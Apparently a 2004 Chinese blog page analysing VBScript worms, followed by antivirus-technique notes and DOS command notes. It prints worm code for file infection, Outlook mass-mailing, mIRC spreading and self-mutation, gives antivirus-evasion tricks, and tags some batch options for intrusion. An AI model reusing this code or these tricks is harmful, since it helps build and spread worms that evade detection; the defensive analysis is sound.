2004年11月29日

VBS脚本病毒原理分析与防范 

网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。
    上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:


一、Vbs脚本病毒的特点及发展现状
    VBS病毒是用VB Script编写而成,该脚本语言功能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点:
1.编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。
2.破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。
3.感染力强。由于脚本是直接解释执行,并且它不需要像PE病毒那样,需要做复杂的PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。
4.传播范围大。这类病毒通过htm文档,Email附件或其它方式,可以在很短时间内传遍世界各地。
5.病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。
6.欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。
7.使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。
正因为以上几个特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚本病毒变得非常容易。


二、Vbs脚本病毒原理分析
1.vbs脚本病毒如何感染、搜索文件
    VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:
以下是文件感染的部分关键代码:
Set fso=createobject(“scripting.filesystemobject”)   ‘创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) ‘读打开当前文件(即病毒本身)
vbscopy=self.readall           ‘ 读取病毒全部代码到字符串变量vbscopy……  
set ap=fso.opentextfile(目标文件.path,2,true) ‘ 写打开目标文件,准备写入病毒代码
ap.write vbscopy                               ‘ 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path)   ‘得到目标文件路径
cop.copy(目标文件.path & “.vbs”)           ‘ 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true)                             ‘删除目标文件
    上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。
下面我们具体分析一下文件搜索代码:
‘该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_)     ’scan函数定义,
on error resume next                 ‘如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files               ‘ 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)                 ‘获取文件后缀
  ext=lcase(ext)                   ‘后缀名转换成小写字母
  if ext=”mp5″ then         ‘如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。
    Wscript.echo (file)
  end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders     ‘搜索其他目录;递归调用
  scan( )  
  scan(subfolder)
next
end sub
    上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。


2.vbs脚本病毒通过网络传播的几种方式及代码分析
    VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
    这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject(“Outlook.Application”) //创建一个OUTLOOK应用的对象
If outlookApp= “Outlook” Then
  Set mapiObj=outlookApp.GetNameSpace(“MAPI”)   //获取MAPI的名字空间
  Set addrList= mapiObj.AddressLists                 //获取地址表的个数
  For Each addr In addrList
  If   addr.AddressEntries.Count <> 0 Then
    addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
    For addrEntIndex= 1 To addrEntCount       //遍历地址表的Email地址
      Set item = outlookApp.CreateItem(0)       //获取一个邮件对象实例
      Set addrEnt = addr.AddressEntries(addrEntIndex)   //获取具体Email地址
      item.To = addrEnt.Address                     //填入收信人地址         item.Subject = “病毒传播实验”     //写入邮件标题
      item.Body = “这里是病毒邮件传播测试,收到此信请不要慌张!”   //写入文件内容
      Set attachMents=item.Attachments   //定义邮件附件
      attachMents.Add fileSysObj.GetSpecialFolder(0) & “test.jpg.vbs”
      item.DeleteAfterSubmit = True       //信件提交后自动删除
      If item.To <> “” Then  
        item.Send                     //发送邮件
        shellObj.regwrite “HKCUsoftwareMailtestmailed”, “1″ //病毒标记,以免重复感染
      End If
    Next
  End If
  Next
End if
End Function


2)通过局域网共享传播
    局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
    在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = “网络连接搜索测试”
Set WSHNetwork = WScript.CreateObject(“WScript.Network”) ’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections   ’创建一个网络打印机连接列表
WScript.Echo “Network printer mappings:”
For i = 0 to oPrinters.Count – 1 Step 2     ’显示网络打印机连接情况
  WScript.Echo “Port ” & oPrinters.Item(i) & ” = ” & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives   ’创建一个网络共享连接列表
If colDrives.Count = 0 Then
  MsgBox “没有可列出的驱动器。”, vbInformation + vbOkOnly,welcome_msg
Else
  strMsg = “当前网络驱动器连接: ” & CRLF
  For i = 0 To colDrives.Count – 1 Step 2
  strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1)
  Next
  MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg’显示当前网络驱动器连接
End If
    上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。


3)通过感染htm、asp、jsp、php等网页文件传播
    如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户机器感染病毒。
病毒之所以能够在htm文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOTCLSID下我们可以找到这么一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中对它他的说明是“Windows Script Host Shell Object”,同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象,调用它们的强大功能。代码如下所示:
Set Apple0bject = document.applets(“KJ_guest”)
Apple0bject.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”)
Apple0bject.createInstance()             ’创建一个实例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”)
Apple0bject.createInstance()             ’创建一个实例
Set FSO = Apple0bject.Get0bject()
对于其他类型文件,这里不再一一分析。


4)通过IRC聊天通道传播
    病毒通过IRC传播一般来说采用以下代码(以MIRC为例)
Dim mirc
set fso=CreateObject(“Scripting.FileSystemObject”)
set mirc=fso.CreateTextFile(“C:mircscript.ini”)   ’创建文件script.ini
fso.CopyFile Wscript.ScriptFullName, “C:mircattachment.vbs”, True ’将病毒文件备份到attachment.vbs
mirc.WriteLine “[script]”
mirc.WriteLine “n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:mircattachment.vbs }”
        ‘利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
    以上代码用来往Script.ini文件中写入一行代码,实际中还会写入很多其他代码。Script.ini中存放着用来控制IRC会话的命令,这个文件里面的命令是可以自动执行的。譬如,“歌虫”病毒TUNE.VBS就会修改c:mircscript.ini 和 c:mircmirc.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。同样,如果Pirch98已安装在目标计算机的c:pirch98目录下,病毒就会修改c:pirch98events.ini和c:pirch98pirch98.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。
    另外病毒也可以通过现在广泛流行的KaZaA进行传播。病毒将病毒文件拷贝到KaZaA的默认共享目录中,这样,当其他用户访问这台机器时,就有可能下载该病毒文件并执行。这种传播方法可能会随着KaZaA这种点对点共享工具的流行而发生作用。
还有一些其他的传播方法,我们这里不再一一列举。



3.VBS脚本病毒如何获得控制权
    如何获取控制权?这一个是一个比较有趣的话题,而VBS脚本病毒似乎将这个话题发挥的淋漓尽致。笔者在这里列出几种典型的方法:
1)修改注册表项
    windows在启动的时候,会自动加载HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序,这样就可以保证每次机器启动的时候拿到控制权。vbs修改贮册表的方法比较简单,直接调用下面语句即可。
wsh.RegWrite(strName, anyvalue [,strType])
2)通过映射文件执行方式
    譬如,我们新欢乐时光将dll的执行方式修改为wscript.exe。甚至可以将exe文件的映射指向病毒代码。
3)欺骗用户,让用户自己执行
    这种方式其实和用户的心理有关。譬如,病毒在发送附件时,采用双后缀的文件名,由于默认情况下,后缀并不显示,举个例子,文件名为beauty.jpg.vbs的vbs程序显示为beauty.jpg,这时用户往往会把它当成一张图片去点击。同样,对于用户自己磁盘中的文件,病毒在感染它们的时候,将原有文件的文件名作为前缀,vbs作为后缀产生一个病毒文件,并删除原来文件,这样,用户就有可能将这个vbs文件看作自己原来的文件运行。
4)desktop.ini和folder.htt互相配合
    这两个文件可以用来配置活动桌面,也可以用来自定义文件夹。如果用户的目录中含有这两个文件,当用户进入该目录时,就会触发folder.htt中的病毒代码。这是新欢乐时光病毒采用的一种比较有效的获取控制权的方法。并且利用folder.htt,还可能触发exe文件,这也可能成为病毒得到控制权的一种有效方法!
    病毒获得控制权的方法还有很多,这方面作者发挥的余地也比较大。


4.vbs脚本病毒对抗反病毒软件的几种技巧
    病毒要生存,对抗反病毒软件的能力也是必需的。一般来说,VBS脚本病毒采用如下几种对抗反病毒软件的方法:
1)自加密
譬如,新欢乐时光病毒,它可以随机选取密钥对自己的部分代码进行加密变换,使得每次感染的病毒代码都不一样,达到了多态的效果。这给传统的特征值查毒法带来了一些困难。病毒也还可以进一步的采用变形技术,使得每次感染后的加密病毒的解密后的代码都不一样。
下面看一个简单的vbs脚本变形引擎(来自flyshadow)
Randomize
Set Of = CreateObject(“Scripting.FileSystemObject”)     ’创建文件系统对象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall     ’读取自身代码
fS = Array(“Of”, “vC”, “fS”, “fSC”)   ’定义一个即将被替换字符的数组
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)))   ’取4个随机字符替换数组fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC   ’将替换后的代码写回文件
    上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。
2)巧妙运用Execute函数
    用过VBS程序的朋友是否会觉得奇怪:当一个正常程序中用到了FileSystemObject对象的时候,有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高,但是有些VBS脚本病毒同样采用了FileSystemObject对象,为什么却又没有任何警告呢?原因很简单,就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时,会检查程序中是否声明使用了FileSystemObject对象,如果采用了,这会发出报警。如果病毒将这段声明代码转化为字符串,然后通过Execute(String)函数执行,就可以躲避某些反病毒软件。
3)改变某些对象的声明方法
    譬如fso=createobject(“scripting.filesystemobject”),我们将其改变为
fso=createobject(“script”+”ing.filesyste”+”mobject”),这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。
4)直接关闭反病毒软件
    VBS脚本功能强大,它可以直接在搜索用户进程然后对进程名进行比较,如果发现是反病毒软件的进程就直接关闭,并对它的某些关键程序进行删除。


5.Vbs病毒生产机的原理介绍
    所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件。在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单。
    脚本语言是解释执行的、不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,生产机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。由于篇幅关系和其他原因,这里不作详细介绍。
 
三、如何防范vbs脚本病毒
1.如何从样本中提取(加密)脚本病毒
    对于没有加密的脚本病毒,我们可以直接从病毒样本中找出来,现在介绍一下如何从病毒样本中提取加密VBS脚本病毒,这里我们以新欢乐时光为例。
用JediEdit打开folder.htt。我们发现这个文件总共才93行,第一行<BODY onload=”vbscript:KJ_start()”>,几行注释后,以<html>开始,</html>节尾。相信每个人都知道这是个什么类型的文件吧!
    第87行到91行,是如下语句:
87:<script language=vbscript>
88:ExeString = “Afi FkSeboa)EqiiQbtq)S^pQbtq)AadobaPfdj)>mlibL^gb`p)CPK…;后面省略,很长!
89:Execute(“Dim KeyArr(3),ThisText”&vbCrLf&”KeyArr(0) = 3″&vbCrLf&”KeyArr(1) = 3″&vbCrLf&”KeyArr(2) = 3″&vbCrLf&”KeyArr(3) = 4″&vbCrLf&”For i=1 To Len(ExeString)”&vbCrLf&”TempNum = Asc(Mid(ExeString,i,1))”&vbCrLf&”If TempNum = 18 Then”&vbCrLf&”TempNum = 34″&vbCrLf&”End If”&vbCrLf&”TempChar = Chr(TempNum + KeyArr(i Mod 4))”&vbCrLf&”If TempChar = Chr(28) Then”&vbCrLf&”TempChar = vbCr”&vbCrLf&”ElseIf TempChar = Chr(29) Then”&vbCrLf&”TempChar = vbLf”&vbCrLf&”End If”&vbCrLf&”ThisText = ThisText & TempChar”&vbCrLf&”Next”) 90:Execute(ThisText) 91:</script>
    第87和91行不用解释了,第88行是一个字符串的赋值,很明显这是被加密过的病毒代码。看看89行最后的一段代码ThisText = ThisText & TempChar,再加上下面那一行,我们肯定能够猜到ThisText里面放的是病毒解密代码(熟悉vbs的兄弟当然也可以分析一下这段解密代码,too simple!就算完全不看代码也应该可以看得出来的)。第90行是执行刚才ThisText中的那段代码(经过解密处理后的代码)。
那么,下一步该怎么做呢?很简单,我们只要在病毒代码解密之后,将ThisText的内容输出到一个文本文件就可以解决了。由于上面几行是vbscript,于是我创建了如下一个.txt文件:
    首先,copy第88、89两行到刚才建立的.txt文件,当然如果你愿意看看新欢乐时光的执行效果,你也可以在最后输入第90行。然后在下面一行输入创建文件和将ThisText写入文件vbs代码,整个文件如下所示:
ExeString = “Afi…   ’ 第88行代码 Execute(“Dim KeyAr… ’ 第89行代码
set fso=createobject(“scripting.filesystemobject”) ’ 创建一个文件系统对象
set virusfile=fso.createtextfile(“resource.log”,true) ’ 创建一个新文件resource.log,用以存放解密后的病毒代码 virusfile.writeline(ThisText)   ’ 将解密后的代码写入resource.log
    OK!就这么简单,保存文件,将该文件后缀名.txt改为.vbs(.vbe也可以),双击,你会发现该文件目录下多了一个文件resource.log,打开这个文件,怎么样?是不是“新欢乐时光”的源代码啊!


2.vbs脚本病毒的弱点
    vbs脚本病毒由于其编写语言为脚本,因而它不会像PE文件那样方便灵活,它的运行是需要条件的(不过这种条件默认情况下就具备了)。笔者认为,VBS脚本病毒具有如下弱点:
1)绝大部分VBS脚本病毒运行的时候需要用到一个对象:FileSystemObject
2)VBScript代码是通过Windows Script Host来解释执行的。
3)VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
4)通过网页传播的病毒需要ActiveX的支持
5)通过Email传播的病毒需要OE的自动发送邮件功能支持,但是绝大部分病毒都是以Email为主要传播方式的。


3.如何预防和解除vbs脚本病毒
    针对以上提到的VBS脚本病毒的弱点,笔者提出如下集中防范措施:
1)禁用文件系统对象FileSystemObject
方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是WindowsSystem下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
还有一种方法就是在注册表中HKEY_CLASSES_ROOTCLSID下找到一个主键{0D43FE01-F093-11CF-8940-00A0C9054228}的项,咔嚓即可。
2)卸载Windows Scripting Host
在Windows 98中(NT 4.0以上同理),打开[控制面板]→[添加/删除程序]→[Windows安装程序]→[附件],取消“Windows Scripting Host”一项。
和上面的方法一样,在注册表中HKEY_CLASSES_ROOTCLSID下找到一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}的项,咔嚓。
3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射
点击[我的电脑]→[查看]→[文件夹选项]→[文件类型],然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果你觉得以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。
5)要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏里“Internet 选项”安全选项卡里的[自定义级别]按钮。把“ActiveX控件及插件”的一切设为禁用,这样就不怕了。呵呵,譬如新欢乐时光的那个ActiveX组件如果不能运行,网络传播这项功能就玩完了。
6)禁止OE的自动收发邮件功能
7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。
8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
9)呵呵,最后一项不说大家也应该知道了,杀毒软件确实很必要,尽管有些杀毒软件挺让广大用户失望,不过,选择是双方的哦。在这个病毒横飞的网络,如果您的机器没有装上杀毒软件我觉得确实挺不可思议的。


四、对所有脚本类病毒发展的展望
    随着网络的飞速发展,网络蠕虫病毒开始流行,而VBS脚本蠕虫则更加突出,不仅数量多,而且威力大。由于利用脚本编写病毒比较简单,除了将继续流行目前的VBS脚本病毒外,将会逐渐出现更多的其它脚本类病毒,譬如PHP,JS,Perl病毒等。
    但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具,并且脚本病毒解除起来比较容易、相对容易防范。笔者认为,脚本病毒仍将继续流行,但是能够具有像爱虫、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。

7种杀毒软件常使用的病毒测试技術


病毒码扫描法
加总比对法 (Check Sum)
人工智能陷阱(Rule-based)
软件仿真扫描法
VICE(Virus Instruction Code Emulation) – 先知扫描法
实时的I/O扫描(Realtime I/O Scan)
文件宏病毒陷阱(MacroTrapTM)


——————————————————————————–
病毒码扫描法


        将新发现的病毒加以分析后, 根据其特征, 编成病毒码, 加入数据库中。以后每当执行扫毒程序时, 便能立刻扫描程序档案, 并作病毒码比对, 即能侦测到是否有病毒。病毒码扫描法又快又有效率( 例如趋势科技的PC-cillin及Server Protect, 利用深层扫描技术, 在实时扫瞄各个或大或小的档案时,平均只需1/20秒的时间), 大多数防毒软件均采用这种方式, 但其缺点是无法侦测到未知的新病毒及以变种病毒。
——————————————————————————–
加总比对法 (Check-sum)


        根据每个程序的文件名称、大小、时间、日期及内容, 加总为一个检查码, 再将检查码附于程序的后面, 或是将所有检查码放在同一个数据库中, 再利用此Check-sum系统, 追踪并记录每个程序的检查码是否遭更改, 以判断是否中毒。一个很简单的例子就是, 当您把车停下来之后, 将里程表的数字写下来。那么下次您再开车时, 只要比对一下里程表的数字, 那么您就可以断定是否有人偷开了您的车子。这种技术可侦测到各式的病毒, 但最大的缺点就是误判断高, 且无法确认是哪种病毒感染的。对于隐形飞机式病毒, 亦无法侦测到。
——————————————————————————–
人工智能陷阱(Rule-based)


人工智能陷阱是一种监测计算机行为的常驻式扫描技术。它将所有病毒所产生的行为归纳起来, 一旦发现内存的程序有任何不当的行为, 系统就会有所警觉, 并告知使用。这种技术的优点是执行速度快、手续简便, 且可以侦测到各式病毒;其缺点就是程序设计难, 且不容易考虑周全。不过在这千变万化的病毒世界中, 人工智能陷阱扫描技术是一个至少具有保全功能的新观点。目前趋势科技的PC-Cillin, 就对病毒的可疑行为设下了将近12道的陷阱, 以达到预防重于治疗的目标。
——————————————————————————–
软件仿真扫描法


        软件仿真技术专门用来对付千面人病毒(Polymorphic  /Mutation Virus)。千面人病毒在每次传染时, 都以不同的随机随机数加密于每个中毒的档案中, 传统病毒码比对的方式根本就无法找到这种病毒。软件仿真技术则是成功地模拟CPU执行, 在其设计的DOS虚拟机器(Virtual Machine)下假执行病毒的变体引擎译码程序, 安全并确实地将多型体病毒解开,使其显露原本的面目, 再加以扫描。
——————————————————————————–
VICE ( Virus Instruction Code Emulation) – 先知扫描法


        VICE先知扫描技术是继软件仿真后的一大技术上突破。既然软件仿真可以建立一个保护模式下的DOS虚拟机器, 模拟CPU动作并假执行程序以解开变体引擎病毒, 那么应用类似的技术也可以用来分析一般程序检查可疑的病毒码。因此VICE将工程师用来判断程序是否有病毒码存在的方法, 分析归纳成专家系统知识库, 再利用软件工程的模拟技术(Software Emulation)假执行新的病毒, 则可分析出新病毒码对付以后的病毒。
——————————————————————————–
实时的I/O扫描(Realtime I/O Scan)


        Realtime I/O Scan的目的在于实时地对数据的输入/输出动作做病毒码比对的动作, 希望能够在病毒尚未被执行之前, 就能够防堵下来。理论上, 这样的实时扫描程序虽然会影响到整体的数据传输速率, 但是使用Realtime I/O scan, 档案传送进来之后, 就等于扫过了一次毒, 整体来说, 是没有什么差别的。
——————————————————————————
文件宏病毒陷阱(MacroTrapTM)


        MacroTrapTM 是结合了病毒码比对与人工智能陷阱的技术,依病毒行为模式(Rule base) 来侦测已知及未知的宏病毒。其中,配合OLE2技术,可将宏与文件分开,使得扫描速度变得飞快,而且更可有效地将宏病毒彻底清除!

2004年11月23日

1    设置或清除 CTRL+C 校验.
BREAK [ON | OFF]
键入不带参数的BREAK显示BREAK的状态.

2    WINSTART.BAT
它有许多特殊的地方。1、它是一个WINDOWS的自动批处理文件。2、这个文件所执行的命令不会被单步执行暴露出来,安全模式又要跳过它。3、这个批处理文件注意的人不多,常常被忽略。

3    SUBST        将一个路径替换成虚拟驱动器.
SUBST     显示有的替换
SUBST [drive1: [drive2:]path]
SUBST drive1: /D(必须退出虚盘)
  drive1:        指定一个虚拟的驱动器盘符.
  [drive2:]path  指定所替换成驱动器的完整路径
  /D             删除虚拟驱动器
4    校验文件可读性:copy *.* nul
     删除copy nul a.txt
     显示copy *.bat con.

5    显示文本文件内容.
TYPE [con>][nul>][drive:][path]filename[>drive2:][path][filename]
  con     建立名为filename的文件
  nul     建立长度为零的文件
  drive2  拷贝文件


6    在Autoexec.bat中加入
ctty nul
在win.com前加一行
ctty con
就可以屏蔽所有启动信息!


7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。


8   format
格式化MS-DOS格式磁盘。
FORMAT drive: [/V[:label]] [/Q] [/U] [/F:size] [/B | /S] [/C]
FORMAT drive: [/V[:label]] [/Q] [/U] [/T:tracks /N:sectors] [/B | /S] [/C]
FORMAT drive: [/V[:label]] [/Q] [/U] [/1] [/4] [/B | /S] [/C]
FORMAT drive: [/Q] [/U] [/1] [/4] [/8] [/B | /S] [/C]
  /V[:label]  指定卷标名;
  /Q          执行快速格式化;
  /U          执行无条件格式化(不能用UNFORMAT恢复);
  /F:size     指定软盘格式化的容量(如 160,180
              , 320, 360, 720, 1.2, 1.44, 2.88).
  /B          分配空间给系统文件.
  /S          拷贝系统文件到磁盘.
  /T:tracks   指定磁盘每面的磁道.
  /N:sectors  指定每个磁道的扇区数.
  /1          格式化单面软盘.

9    COMMAND
Starts a new copy of the MS-DOS Command Interpreter.


COMMAND [[drive:]path] [device] [/E:nnnnn] [/P [/MSG]]
        [/Y [/C command | /K command]]


  [drive:]path    Specifies the directory containing COMMAND.COM file.
  device          Specifies the device to use for command input and output.
  /E:nnnnn        Sets the initial environment size to nnnnn bytes.
  /P              Makes the new Command Interpreter permanent (can’t exit).
  /MSG            Stores all error messages in memory (requires /P).
  /Y              Steps through the batch program specified by /C or /K.
  /C command      Executes the specified command and returns.
  /K command      Executes the specified command and continues running.


The /P and /MSG switches may be used only when COMMAND is started by using
the SHELL command in the CONFIG.SYS file.

11    FIND
windows可能需要外挂的程序有find.exe choice.com
find   在一个或多个文件中搜索正文段字符串。


           Find “string”[file][/i][/v]


           “string” 要找的正文段字符串,


           /i 忽略大小写


           /v 显示所有不含指定字符串的行


if errorlevel 1  不存在该值执行  
         / if NOT errorlevel 1  存在该值执行   来做判断
format
format c:/a/u/autoset(好像没有用在6.22下)

12    SET
显示、设置或删除 cmd.exe 环境变量。


SET [variable=[string]]


  variable  指定环境变量名。
  string    指定要指派给变量的一系列字符串。


要显示当前环境变量,键入不带参数的 SET。


如果命令扩展名被启用,SET 会如下改变:


可仅用一个变量激活 SET 命令,等号或值不显示所有前缀匹配
SET 命令已使用的名称的所有变量的值。例如:


    SET P


会显示所有以字母 P 打头的变量


如果在当前环境中找不到该变量名称,SET 命令将把 ERRORLEVEL
设置成 1。


SET 命令不允许变量名含有等号。


在 SET 命令中添加了两个新命令行开关:


    SET /A expression
    SET /P variable=[promptString]


/A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式
评估器很简单并以递减的优先权顺序支持下列操作:


    ()                  – 分组
    ! ~ -               – 一元运算符
    * / %               – 算数运算符
    + -                 – 算数运算符
    << >>               – 逻辑移位
                       – 按位“与”
    ^                   – 按位“异”
    |                   – 按位“或”
    = *= /= %= += -=    – 赋值
      &= ^= |= <<= >>=
    ,                   – 表达式分隔符


如果您使用任何逻辑或取余操作符, 您需要将表达式字符串用
引号扩起来。在表达式中的任何非数字字符串键作为环境变量
名称,这些环境变量名称的值已在使用前转换成数字。如果指定
了一个环境变量名称,但未在当前环境中定义,那么值将被定为
零。这使您可以使用环境变量值做计算而不用键入那些 % 符号
来得到它们的值。如果 SET /A 在命令脚本外的命令行执行的,
那么它显示该表达式的最后值。该分配的操作符在分配的操作符
左边需要一个环境变量名称。除十六进制有 0x 前缀, 八进制
有 0 前缀的,数字值为十进位数字。因此, 0×12 与 18 和 o22
相同。请注意八进制公式可能很容易搞混: 08 和 09 是无效的数字,
因为 8 和 9 不是有效的八进制位数。


/P 命令行开关允许将变量数值设成用户输入的一行输入。读取输入
行之前,显示指定的 promptString。promptString 可以是空的。


环境变量替换已如下增强:


    %PATH:str1=str2%


会扩展 PATH 环境变量,用 “str2″ 代替扩展结果中的每个 “str1″。
要有效地从扩展结果中删除所有的 “str1″,”str2″ 可以是空的。
“str1″ 可以以星号打头;在这种情况下,”str1″ 会从扩展结果的
开始到 str1 剩余部分第一次出现的地方,都一直保持相配。


也可以为扩展名指定子字符串。


    %PATH:~10,5%


会扩展 PATH 环境变量,然后只使用在扩展结果中从第 11 个(偏
移量 10)字符开始的五个字符。如果没有指定长度,则采用默认
值,即变量数值的余数。如果两个数字(偏移量和长度)都是负数,
使用的数字则是环境变量数值长度加上指定的偏移量或长度。


    %PATH:~-10%


会提取 PATH 变量的最后十个字符。


    %PATH:~0,-2%


